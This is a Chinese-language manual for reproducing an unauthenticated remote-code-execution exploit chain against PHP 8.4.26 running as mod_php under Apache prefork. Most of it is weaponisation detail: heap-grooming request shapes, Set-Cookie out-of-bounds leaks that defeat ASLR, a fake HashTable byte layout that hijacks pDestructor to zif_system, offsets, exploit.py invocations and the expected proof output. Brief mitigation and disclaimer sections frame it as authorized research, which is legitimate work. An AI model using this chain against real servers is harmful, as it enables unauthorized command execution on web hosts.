php2shell复现方法

php2shell-bypass-aslr-exp 漏洞分析与复现手册

本文档基于对仓库内全部源码的静态分析写成(exploit.py、docker/、tools/、src/php-8.4.26.tar.gz 中的 PHP 源码),不含任何动态运行结果。
仅供授权环境下的漏洞研究与学习使用。


1. TL;DR

这是 PHP 8.4.26(mod_php + Apache prefork)的未授权 RCE 完整复现工程。漏洞面是 session.upload_progress 在 RINIT 之前触发的 session 初始化,以及 memory_limit OOM bailout 后跨请求残留的悬空 PS(id) / PS(send_cookie) / PS(http_session_vars)。

利用链全部由普通 multipart HTTP 请求构成,目标页面只需要 <?php echo "OK\n"; ?>(无 session_start()、无需写任何目标侧 PHP)。三个阶段分别完成:

  1. Set-Cookie 堆越界读 → 拿到 Zend MM 2MB chunk 基址(绕过 ASLR 第一步);
  2. Set-Cookie 越界读 → 拿到 libphp 基址(ZVAL_PTR_DTOR 指针);
  3. 伪造 reference + 伪造 HashTable(pDestructor = zif_system)→ 命令执行,不需要 libc。

2. 项目结构

路径作用
exploit.py一键 exp:worker 轮换 + 两阶段泄漏 + RCE,自动重试
docker/docker-compose.yml目标环境:官方 php:8.4.26-apache 镜像,端口 127.0.0.1:8088→80
docker/php.ini关键 PHP 配置(display_errors=On、memory_limit=8M 等)
docker/apache.conf单 worker prefork(MaxRequestWorkers 1)、KeepAlive Off
docker/offsets.py从容器内 libphp.so 的 ELF 符号表读 zif_system / zval_ptr_dtor 偏移
docker/www/index.php目标页面,仅 <?php echo "OK\n"; ?>
tools/*.py手动复现用的单步请求脚本(约 250 个,含各阶段 A/B 请求的最终形状)
tools/pure_aslr_run.shlab 环境的全链手动驱动脚本(等价于 exploit.py 的原始版本)
src/php-8.4.26.tar.gz官方 PHP 8.4.26 源码(分析用)
HTTP_HEAP_LEAK.md / ASLR_PURE_HTTP.md / NOTES.md 等各阶段的机制、gdb 证据与校准记录

3. 漏洞原理(源码级分析)

3.1 漏洞面:RINIT 之前的 session 初始化

PHP 的 multipart 解析回调(ext/session/session.c)在请求脚本执行之前就会初始化 session,且只取决于 POST 字段,与页面内容无关:

  • MULTIPART_EVENT_FILE_START → php_session_rfc1867_update(progress, 0) → php_session_initialize()(session.c:3335 → 3175-3196,init 调用在 3196 行);
  • MULTIPART_EVENT_END → php_session_rfc1867_cleanup(progress) → php_session_initialize()(session.c:3375 → 3209-3211)。

触发条件(session.c:3259 附近的 FORMDATA 分支):data->name && data->value && value_len,即请求里同时带:

  • PHPSESSID(值非空,内容可以是 \x00——长度 1 但首字节为 0);
  • PHP_SESSION_UPLOAD_PROGRESS(值非空,如 pwn);
  • (FILE_START 路径)至少一个文件字段;或(END 路径)不带文件字段。

两条路径都能在脚本执行前到达 php_session_initialize()。

3.2 根因一:OOM bailout 跨请求残留 ps_globals

php_session_initialize()(session.c:419):

if (!PS(id) || !ZSTR_VAL(PS(id))[0]) {      // 443 行:空 id / 首字节为 0
    ...
    PS(id) = PS(mod)->s_create_sid(&PS(mod_data));   // 448 行:生成 32 字符随机 id
    if (PS(use_cookies)) {
        PS(send_cookie) = 1;                          // 456-457 行
    }
}
if (php_session_reset_id() == FAILURE) {     // 475 行
    php_session_abort();
    return FAILURE;                          // 477 行:track_init 不执行,send_cookie 不清零
}
php_session_track_init();                    // 481 行
  • PS(id)、PS(send_cookie)、PS(http_session_vars) 都是 ps_globals 里的进程级全局(mod_php worker 进程常驻),不是每请求清零的。
  • 请求 A 用 12MB 的 multipart 普通字段(memory_limit=8M)在请求解析阶段触发 OOM。zend_bailout 长跳转绕过了请求 shutdown,php_rshutdown_session_globals() 没有机会执行,上述全局全部悬空残留到下一个请求。

3.3 根因二:悬空 PS(id) → Set-Cookie 越界读(ASLR 泄漏原语)

下一个"只带 PHPSESSID + PHP_SESSION_UPLOAD_PROGRESS、不带文件字段"的请求(记为 B)会在 END cleanup 里重新走 php_session_initialize()。若残留的 PS(send_cookie)=1,php_session_reset_id()(session.c:1563-1569)会调用 php_session_send_cookie():

// session.c:1426
if (SG(headers_sent)) { ...警告...; return FAILURE; }     // 1432 行
e_id = php_url_encode(ZSTR_VAL(PS(id)), ZSTR_LEN(PS(id))); // 1447 行 ← 越界读原语

PS(id) 指向的是 A 残留的已释放块。B 请求的 multipart 字段堆喷(zend_string / raw value buffer 按 Zend MM size-class bin 落点)可以精确重占这块内存,从而完全控制 len 和数据起始地址——php_url_encode 就按伪造的 len 越界读堆,并把结果 URL 编码后放进响应头 Set-Cookie: PHPSESSID=...。攻击者解码响应头即得到堆内容。

send_cookie=1 的残留来自 A 中 php_session_reset_id() 失败:display_errors=On 时,A 先发 1001 个字段触发 max_input_vars 警告(main/php_variables.c:555-557,警告输出使 SG(headers_sent)=1),随后 session 初始化新建 id 并置 send_cookie=1,reset_id 因 headers 已发送而失败返回,send_cookie 未被清零(session.c:1563-1568 的清零在成功路径上)。

3.4 根因三:悬空 PS(http_session_vars) → 跨请求 UAF → 控制流劫持

php_session_track_init()(session.c:236-252):

zend_delete_global_variable("_SESSION");          // 241 行
if (!Z_ISUNDEF(PS(http_session_vars))) {
    zval_ptr_dtor(&PS(http_session_vars));        // 244 行 ← 对 A 残留的悬空引用析构
}
array_init(&session_vars);
ZVAL_NEW_REF(&PS(http_session_vars), &session_vars);
...

第 244 行对上一请求残留的 zend_reference(悬空指针)执行 zval_ptr_dtor。如果悬空引用所在块已被 B 的 multipart 字段重占成伪造数据,析构链就会沿伪造 zval 走到完全可控的函数指针:

php_session_track_init()                                  // session.c:244
  zval_ptr_dtor(PS(http_session_vars))                    // refcount 1→0
    zend_reference_destroy(R0)
      zval_ptr_dtor(&ref->val)                            // ref->val.type = IS_ARRAY_EX (0x307)
        zend_array_destroy(fake HashTable)
          zend_hash_destroy(fake HT)
            fake HT->pDestructor(&bucket->val)            // ← 劫持点
              = zif_system(execute_data=&bucket->val)     // libphp 内部函数,命令执行

终端 gadget 选 zif_system(ext/standard/exec.c,libphp 导出符号)而不是 libc system,因此只需要 libphp 基址,不需要泄漏 libc。&bucket->val 被伪装成 zend_execute_data(num_args=1,arg1 指向内容为命令的伪造 zend_string)。

3.5 为什么能绕过 ASLR

  • 两条泄漏都基于 chunk/模块内相对偏移:stage 1 解出 Zend MM 2MB chunk 基址(堆内指针 ptr & ~0x1FFFFF 的众数);stage 2 解出 libphp 基址(pDestructor - DTOR_OFFSET)。地址随机化只影响基址本身,chunk 内/模块内的相对布局是稳定的。
  • prefork 单 worker + HTTP 触发轮换:A_bigfields(约 3MB 存活 POST 字符串 + 12MB OOM)把堆状态弄坏,紧跟一个会初始化 session 的 B 请求,zend_mm_panic/abort() 使 child 以 SIGABRT 退出,prefork 立即 fork 新 child。同一 master fork 出的 child 继承相同的 libphp/chunk 映射,所以泄漏结果跨 worker 有效;每个阶段都能在"fresh worker"上重放已校准的请求形状。
  • 所有 chunk 内偏移(悬空块落点、fake HashTable 字符串落点)由字段数量/长度/边界长度标定,请求形状固定后可稳定复现。

4. 复现环境

依赖:Docker Engine/Desktop + Compose v2 + Python 3.9+。仓库不编译 PHP,直接用官方镜像加配置挂载。

cd php2shell-bypass-aslr-exp-main
docker compose -f docker/docker-compose.yml up -d   # 拉取 php:8.4.26-apache 并启动
curl -s http://127.0.0.1:8088/index.php             # 就绪后输出 "OK"

关键配置(docker/php.ini / docker/apache.conf):

配置值在链中的作用
display_errorsOnmax_input_vars 警告输出 → SG(headers_sent)=1(send_cookie 残留的前提)
memory_limit8M12MB 字段必然 OOM → bailout 残留 ps_globals;worker 轮换也依赖它
post_max_size / upload_max_filesize64M允许大 multipart 请求体
session.use_strict_mode0允许客户端指定任意 PHPSESSID
session.use_cookies1Set-Cookie 泄漏通道
session.upload_progress.enabledOnpre-RINIT session 初始化入口
max_input_vars1000(默认)A 请求 1001 个字段触发警告
preforkMaxRequestWorkers 1单 worker:请求 A/B 落在同一进程的同一堆上

out/ 目录挂载为容器 /out(www-data 可写),proof 文件直接落在本机。


5. 漏洞复现方法(一键自动化)

# 1) 起目标
docker compose -f docker/docker-compose.yml up -d

# 2) 一条命令完成 worker 轮换 + 两阶段泄漏 + zif_system 执行
python3 exploit.py -u http://127.0.0.1:8088/index.php
# 预期输出:
#   [*] no offsets file; reading libphp symbols from container php2shell-target
#   zif_system     0x465370
#   zval_ptr_dtor  0x65eb60
#   [+] chunk base = 0x...
#   [+] libphp base = 0x...
#   [*] stage 3: HTDATA=0x... ZIF=0x...
#   PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

说明:

  • 首次运行会自动执行 docker/offsets.py:docker cp 把容器内 /usr/lib/apache2/modules/libphp.so 拷出、解析 ELF 符号表、把 ZIF_OFFSET/DTOR_OFFSET 写入 out/offsets.env(仅当目标是 localhost 且无 offsets 文件时;--no-auto-offsets 关闭,--docker-container 指定容器名,--zif-offset/--dtor-offset 手动指定)。
  • 默认命令 id>/out/p1(10 字节);命令受 167B 载体限制最多 14 字节。任意长命令先写脚本到挂载目录再 8 字节触发:
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c'
  • 常用参数:--profile lab(自编译 lab 构建,默认 bookworm 对应官方镜像)、--cmd、--proof-file('' 禁用本地读 proof)、--fetch(改为 GET 某路径读取结果)、--huge-mb(OOM 字段大小,须大于 memory_limit)、--retries、--no-pre-rotate。
  • 验证:cat out/p1;容器 docker logs php2shell-target 里可见 child pid ... exit signal Abort (6)(轮换生效的证据)。
  • 官方镜像实测 3/3 成功;每阶段内置重试(--retries,stage 3 为 retries+2)。

6. 手动复现方法

整条链 = 4 组 multipart POST(轮换、stage1、stage2、stage3,每组是一个 A 请求 + 一个 B 请求)。下面先给出请求语义与字段规格(对照 exploit.py 的参考实现行号),再给出可直接执行的 lab 工具命令序列。

6.1 手动流程总览

阶段请求 A(布置)请求 B(收割)产出
0 轮换1001×3000B 存活字段 + \0 sid + 文件 + 12MB OOM仅 sid+PROGRESS(无文件)→ SIGABRTfresh worker(映射不变)
1 堆泄漏1001×1B 字段 + \0 sid + 文件 + 12MB OOM841/892 个 48B 值 + 1 个 79B forge 字段Set-Cookie 4096B 越界读 → chunk base
2 libphp 泄漏1001×39B 字段 + \0 sid + 文件 + 12MB OOM983 个嵌套数组(目标数组 16 元素)Set-Cookie 16B → ZVAL_PTR_DTOR → libphp base
3 RCEsid+PROGRESS+pad×6+文件+12MB OOM15×167B fake HT + fake ref/carrierzif_system 执行命令

参考实现(exploit.py):rotate() L281、stage1() L304、stage2() L333、stage3() L404、fake payload 构造 _fake_payload() L359;HTTP 收发 Target.post() L132(用原生 socket 边发边收:部分请求会在上传中途 SIGABRT/RST,requests/urllib 会直接抛错)。

multipart 编码规则(所有请求一致,build_multipart() L66):每个 part 用 --boundary\r\nContent-Disposition: form-data; name="..."\r\n\r\n<value>\r\n,结尾 --boundary--\r\n;文件 part 额外带 ; filename="a.txt" 与 Content-Type: application/octet-stream。字段顺序就是分配顺序,不能打乱。

6.2 阶段 0:HTTP worker 轮换

请求 A(boundary = 17 个 S)字段依次为:

  1. f0000…f1000 共 1001 个字段,值 3000 字节 'V'(前 1000 个注册进 $_POST,约 3MB 存活 zend_string);
  2. PHPSESSID,值 1 字节 \x00;
  3. PHP_SESSION_UPLOAD_PROGRESS,值 pwn;
  4. 文件字段 f(a.txt,64 字节 'A')——FILE_START 触发 session 初始化;
  5. big,值 12MB 'B'——OOM bailout。

请求 B(boundary = BNDRY12345)只有:PHPSESSID=attacksessionid0001、PHP_SESSION_UPLOAD_PROGRESS=pwn,没有文件字段(这样才能走到 END cleanup 而不是被 php_rinit_session(0) 清掉 PS 全局)。等 0.5–0.8 秒让 prefork fork 新 worker。

6.3 阶段 1:Set-Cookie 堆泄漏(chunk base)

请求 A(boundary 17×S):与阶段 0 相同的收尾三件套(\x00 sid / PROGRESS / 文件 / 12MB OOM),但前 1001 个字段改为 1 字节值 'x'。响应体出现两条 Warning 即前置条件成立:

Warning: PHP Request Startup: Input variables exceeded 1000...
Warning: PHP Request Startup: Session cookie cannot be sent after headers have already been sent

请求 B(boundary 10×B):

  • PHPSESSID=attacksessionid0001、PROGRESS=pwn;
  • 841 个(bookworm)/ 892 个(lab)填充字段:数值键 1000…1840,值为唯一的 48 字符串(v%04d + 'x'*44)——数值键影响 bucket 布局,48 字节值对应 80B bin 的存活字符串,按 free-list 顺序消耗旧块;
  • 最后 1 个 forge 字段 1999,值 79 字节:offset 0x10..0x17 = 0x1000(小端,伪造 zend_string.len),offset 0x18 = 'L'(数据起始),其余 'A'。79B 值的 raw buffer = 80B bin,恰好落进 A 残留的悬空 PS(id) 块(原块是 24+32+1=57 → 64B bin 的随机 id 字符串);字段处理完 raw buffer 被 efree,Zend MM 只写块首 free-list 指针,0x10 处的 len 保留。

之后 B 的 END cleanup → reset_id → php_url_encode(ZSTR_VAL(id), 0x1000):从 PS(id)+0x18 起读 4096 字节越界堆数据,全部 URL 编码进 Set-Cookie。

解析(chunk_base_from_cookie() L214,或 tools/decode_leak.py):

  1. 从响应头取 Set-Cookie: PHPSESSID=<...>; path=/,URL 解码(应 ≥1000 字节,实测 4096);
  2. 在解码数据上按字节滑动取小端 qword,只保留 0x7f0000000000 ≤ v < 0x800000000000 的候选;
  3. chunk = 众数(v & ~0x1FFFFF),出现次数 ≥8 才采信——2MB 对齐即 Zend MM chunk 基址。

6.4 阶段 2:Set-Cookie libphp 泄漏

请求 A(boundary 17×S):与阶段 1 的 A 相同,只是 1001 个字段的值改为 39 字节 'x'——不同的值长度改变分配序列,把悬空 PS(id) 推到 chunk+0xb7400,恰好对齐到一个 56B HashTable 页的 HT+0x10。

请求 B(boundary 10×B):

  • PHPSESSID=attacksessionid0001、PROGRESS=pwn;
  • 983 个嵌套数组字段 a0000[0]…a0982[j]:除目标数组(bookworm a0406 / lab a0443)有 16 个元素外,其余各 1 个元素;元素值 bookworm 用 16 字节('x'*16)、lab 用 1 字节('x');
  • 字段总数 = 982 + 16 = 998,加 sid/PROGRESS 正好 1000 个 POST 变量——不能超,否则 B 自己触发 max_input_vars 警告导致 headers_sent=1,Set-Cookie 发不出去。

原理:$_POST['a0406'] 的 56B HashTable 落在 chunk+0xb73f0,悬空 PS(id) = HT+0x10,于是:

ZSTR_LEN(PS(id))  = *(HT+0x20) = nTableSize(16) | nInternalPointer(0) = 16
PS(id)+0x18       = HT+0x28 = nNextFreeElement (0x10)   → 8 字节
PS(id)+0x20       = HT+0x30 = pDestructor = ZVAL_PTR_DTOR → 8 字节

php_url_encode 按 len=16 读出这 16 字节放进 Set-Cookie(形如 %10%00%00%00...%xx..%7F%00%00)。

解析(libphp_base_from_cookie() L229):解码后取 bytes[8:16] 为小端 qword p;校验 p 在 0x7f 区间且 p & 0xFFF == DTOR_OFFSET & 0xFFF;libphp_base = p - DTOR_OFFSET(须 4KB 对齐。bookworm DTOR_OFFSET=0x65eb60、lab 0x613c50——用 python3 docker/offsets.py php2shell-target out/offsets.env 从容器里读真值)。

6.5 阶段 3:伪造 reference + zif_system → RCE

请求 A(boundary 17×S):

  • PHPSESSID = 'a'*19(合法 id,这次 session 初始化成功走到 php_session_track_init(),$_SESSION 引用真实建立)、PROGRESS='p'*3;
  • 6 个 pad 字段(bookworm:31 字符名 + 31 字节值 ×6;lab:8:7 + 5 个 7:7)——移动悬空 reference 落点到 R0 = chunk+0x24e0;
  • 文件字段 + 12MB OOM → bailout,PS(http_session_vars) 悬空指向 R0;
  • bookworm 额外:请求头带 Cookie: PHPSESSID= + 'a'*32,使 B 的 init 里有合法 id 可用、send_cookie=0——否则 B 的 Set-Cookie 大缓冲分配会落在 R0+0x10,把 fake 引用的 val.type 踩掉。

请求 B(boundary 10×B):

  • PHPSESSID=attacksessionid0001、PROGRESS=pwn;
  • fake HashTable 载体:15 个字段(名 a{i:030d} 取前 31 字符),值都是同一个 167 字节 payload(167+24+1=192 → 192B bin 存活字符串,其中一块落在 HTDATA = chunk+0x690d8(bookworm)/ chunk+0x6e0d8(lab));
  • fake 引用(lab):2 个字段 f00/f01,值 55 字节 fake reference(55+1=56 → 56B raw buffer 落在 R0-0x10);(bookworm):先 2 个字段 f00/f01 值 15×'F',再 1 个字段 g00 值 15 字节 carrier = pack("<II",1,0x1A) + pack("<Q",HTDATA)[:7]——15B 字符串+NUL 恰好 16 字节重写 R0 的 gc 头和 val.value 低 7 字节(高位保持 0x00 即规范指针),原有 val.type=IS_ARRAY_EX 不动。

167 字节 fake HashTable payload 布局(_fake_payload() L359 / tools/send_b_zif.py):

0x00  gc            : refcount=1, type=IS_ARRAY(7)
0x08  flags / mask  : 0x10 (STATIC_KEYS), 0xFFFFFFF8
0x10  arData        : HTDATA + 0x20
0x18  nNumUsed/OfEl : 1, 1
0x20  nTableSize/IP : 8, 0        ← 同一位置兼作 fake execute_data E
0x28  nNextFreeElem : 0
0x30  pDestructor   : ZIF = libphp + zif_system_offset   ← 劫持点
E+0x10 return_value : ZIF(与 pDestructor 重叠)
E+0x2C num_args     : 1
E+0x50 arg1 zval    : { value = HTDATA+0x80, type = IS_STRING(6) }
0x80  fake zend_string : gc{1, 0x106}, h=0, len=len(cmd)
0x98  命令字符串 + '\0'(≤14 字节,如 id>/out/p1)

55 字节 fake reference(写在 R0-0x10 起,引用结构本体在 R0):

+0x10 gc   : refcount=1, type=IS_REFERENCE(10)
+0x18 val.value = HTDATA
+0x20 val.type  = 0x307 (IS_ARRAY_EX)
+0x28 sources   : 0

B 的 END cleanup → php_session_track_init() → zval_ptr_dtor(PS(http_session_vars)) 沿第 3.4 节的链调用 zif_system(execute_data),命令以 www-data 身份执行。随后 worker 会在收尾 pefree 处崩溃(预期行为,proof 已写出)。

验证:bookworm/docker 目标看本机 out/p1(--proof-file 自动读)或 --fetch;lab 目标 cat /tmp/p1。预期 uid=33(www-data) gid=33(www-data) groups=33(www-data)。

6.6 lab 环境的原始手动命令序列(tools/*.py)

tools/ 下的脚本硬编码 127.0.0.1:8088 与 /index.php(sup_poc.py 支持 HOST/PORT/PATH_INFO 环境变量),标定对应 lab 构建(PHP 8.4.26 自编译 + Apache 2.4.68)。序列等价于 tools/pure_aslr_run.sh:

cd tools

# 轮换(开局先杀掉有未知历史的 worker)
python3 send_a_bigfields.py 1001 3000 12 17
python3 sup_poc.py b
sleep 1

# ---- 阶段 1:chunk base ----
python3 send_a_leak2.py 1001 12          # A:警告 + \0 sid + OOM
python3 b_numleak2.py 892 1 0x1000       # B:892 填充 + 79B forge;响应存 /tmp/b_numleak2.resp
python3 decode_leak.py /tmp/b_numleak2.resp   # → decoded=4096, chunk_bases=<base>:98

# 轮换
python3 send_a_bigfields.py 1001 3000 12 17 && python3 sup_poc.py b

# ---- 阶段 2:libphp base ----
python3 send_a_leak3.py 1001 5 39 12 17  # A:39 字节值版本
python3 b_target.py 443 16 983           # B:a0443 扩 16 元素;响应存 /tmp/b_target.resp
python3 - <<'PY'                          # 解析 pDestructor → libphp base(lab dtor 偏移 0x613c50)
import urllib.parse, re
d = open('/tmp/b_target.resp','rb').read()
m = re.search(rb'Set-Cookie: PHPSESSID=([^\r\n]*?); path=/', d)
raw = urllib.parse.unquote_to_bytes(m.group(1).decode('latin1'))
p = int.from_bytes(raw[8:16],'little')
print(hex(p - 0x613c50))                  # libphp base,p&0x1fffff 应 == 0x13c50
PY

# 轮换
python3 send_a_bigfields.py 1001 3000 12 17 && python3 sup_poc.py b

# ---- 阶段 3:zif_system RCE(lab 标定)----
python3 send_a_pad.py 17 19 3 12 8:7 7:7 7:7 7:7 7:7 7:7
python3 send_b_zif.py 15 2 0x<chunk+0x6e0d8> 0x<libphp+0x43a870> "id>/tmp/p1"
sleep 1
cat /tmp/p1

对官方 docker 镜像手动重放时,标定值不同(见下表),且 b_target.py(元素值固定 1 字节)与 send_b_zif.py(55B ref 形状)没有参数化 bookworm 变体——此时最直接的手动方式是按 6.2–6.5 的字段规格手工构造请求,或参考 exploit.py 对应函数逐阶段重放。

6.7 两套 profile 的标定对照

项lab(自编译,--profile lab)bookworm(官方镜像,默认)
zif_system 偏移libphp+0x43a870libphp+0x465370(docker/offsets.py 自动读)
ZVAL_PTR_DTOR 偏移libphp+0x613c50libphp+0x65eb60(同上)
stage1 填充字段数892841
stage2 目标数组a0443a0406
stage2 元素值长度1 字节16 字节
stage3 fake HT 字符串落点chunk+0x6e0d8chunk+0x690d8
stage3 A 的 pad(8:7) + 5×(7:7)6×(31,31) + 请求头 Cookie: PHPSESSID=a×32
stage3 B 的引用载体55B fake ref ×22×15B 'F' + 1×15B carrier,15×167B fake HT 顺序在最后

6.8 历史线(需目标侧 PHP,仅作机制参考)

NOTES.md / NOASLR_REPORT.md 记录了更早的一条线:目标脚本调用 session_unset() 且存在会写 $_SESSION 的 __destruct,触发 zend_hash_clean 重入 → arData UAF → stream_bucket_new() 裸缓冲重占 → fake HashTable → system()。手动复现只需一问一答(部署 tools/d.php 后 curl http://target/d.php,看 /tmp/x),但它要求在目标 webroot 写特定 PHP,违反本工程"纯 HTTP"约束,仅用于理解同族缺陷(Defect D)。


7. 成功判据与故障定位

现象含义
PROOF: uid=33(www-data)...全链成功
stage1 A 响应含两条 Warning前置条件(headers_sent / send_cookie 残留)成立
stage1 B 解码 cookie ≥1000 字节、出现 ≥8 个 2MB 对齐指针堆泄漏成功
stage2 cookie 解码 16 字节、p&0xFFF == DTOR&0xFFFlibphp 泄漏成功
docker logs 出现 child pid ... exit signal Abort (6)轮换生效
某阶段失败exploit.py 会自动轮换 worker 重试;手动复现失败先重新做阶段 0 再重试该阶段

8. 前置条件与限制

  1. 版本/构建绑定:所有 chunk 内偏移、填充数、zif_system/ZVAL_PTR_DTOR 偏移绑定 PHP 8.4.26 + 具体镜像/工具链;换构建需用 gdb 或 docker/offsets.py 重新标定。
  2. 配置绑定:display_errors=1(display_errors=0 的 OOM-in-cookie 堆泄漏已打通、完整 RCE 未提交,见 DISPLAY_ERRORS_OFF.md)、memory_limit=8M、max_input_vars=1000、session.use_cookies=1、session.use_strict_mode=0、session.upload_progress.enabled=1、单 worker prefork mod_php。php-fpm 不适用(跨请求 PS 残留依赖 mod_php 常驻 worker)。
  3. 命令上限 14 字节;长命令经 sh</out/c 二段执行。
  4. RCE 后 worker 必然崩溃(伪造 HashTable 的收尾 pefree),proof 文件已写出即视为成功。
  5. 会话文件(/tmp/sess_*)、proof 文件残留属预期,测试后清理。

9. 缓解思路(依据上述前置条件)

  • 关闭 session.upload_progress(session.upload_progress.enabled=0)可消除 pre-RINIT session 初始化入口;
  • session.use_strict_mode=1 破坏对客户端可控 sid 的依赖;
  • mod_php 换 php-fpm、避免单 worker prefork,可消除跨请求堆残留这一核心原语;
  • 上述均不修复根因,根因修复需等待/回移 PHP 官方补丁。

10. 免责声明

本项目及本文档仅用于授权环境中的漏洞研究与复现(CTF、自有实验环境、授权渗透测试)。请勿用于未授权目标。

exp仓库:https://github.com/360859569/php2shell-exp

← 返回归档